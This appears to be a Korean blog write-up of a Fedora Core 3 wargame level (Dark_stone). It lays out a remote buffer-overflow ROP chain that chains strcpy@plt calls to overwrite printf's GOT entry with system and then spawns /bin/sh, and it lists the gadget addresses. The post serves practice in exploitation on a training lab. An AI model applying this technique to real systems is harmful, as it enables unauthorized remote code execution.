#About
[그림 1] - dark_stone.c 소스 코드 확인
#Solution
이전 문제와 달라진 점이라면 Remote BOF이며 페이로드 구성 후 nc를 통해 port 8888로 넘겨주면 되고, 앞으로 해줄 작업은 간략히 아래와 같다
strcpy ( bss+4[0] | system[0] ) +
strcpy ( bss+4[1] | system[1] ) +
strcpy ( bss+4[2] | system[2] ) +
strcpy ( bss+4[3] | system[3] ) +
strcpy ( printf@got | bss+4 ) +
printf@got | "AAAA" | &/bin/sh
이에 필요한 가젯은 strcpy@plt, ppr, bss+4, printf@plt, printf@got, system, &/bin/sh이며 아래의 과정을 통해 구해주었다
[그림 2] - strcpy@plt 주소
[그림 3] - ppr 주소
[그림 4] - .bss 주소
[그림 5] - printf@plt 주소
[그림 6] - printf@got 주소
[그림 7] - system 함수 주소
[그림 8] - shell.c 소스 코드 확인
[그림 8] - system 함수 내부 문자열 /bin/sh의 주소
system 함수의 주소는 0x007507c0이므로 각 바이트를 이루는 가젯을 아래와 같이 수집해주었다
[그림 9] - system 함수의 주소를 이루는 각 바이트의 가젯 수집
c0 = 0x80483f4
07 = 0x804817c
75 = 0x80482b4
00 = 0x8048129
페이로드 작성에 필요한 가젯들을 모두 구해주었으며 구해준 가젯들을 토대로, 페이로드의 구상은 아래와 같아진다
| buffer (268) | +
| strcpy@plt | ppr | bbs+4[0] | system[0] | +
| strcpy@plt | ppr | bbs+4[1] | system[1] | +
| strcpy@plt | ppr | bbs+4[2] | system[2] | +
| strcpy@plt | ppr | bbs+4[3] | system[3] | +
| strcpy@plt | ppr | printf@got | bss + 4 | +
| printf@plt | LOVE | &/bin/sh |
[그림 10] - 셸 획득
'Wargame' 카테고리의 다른 글
[MEMORY] 2011 Nuit Du Hack > Forensics 300 (0) | 2017.12.28 |
---|---|
[MEMORY] 2011 Nuit Du Hack > Forensics 100 (0) | 2017.12.28 |
[FEDORA CORE 3] Hell_fire > Evil_wizard (0) | 2017.12.23 |
[FEDORA CORE 3] Dark_eyes > Hell_fire (0) | 2017.12.21 |
[FEDORA CORE 3] Iron_golem > Dark_eyes (0) | 2017.12.21 |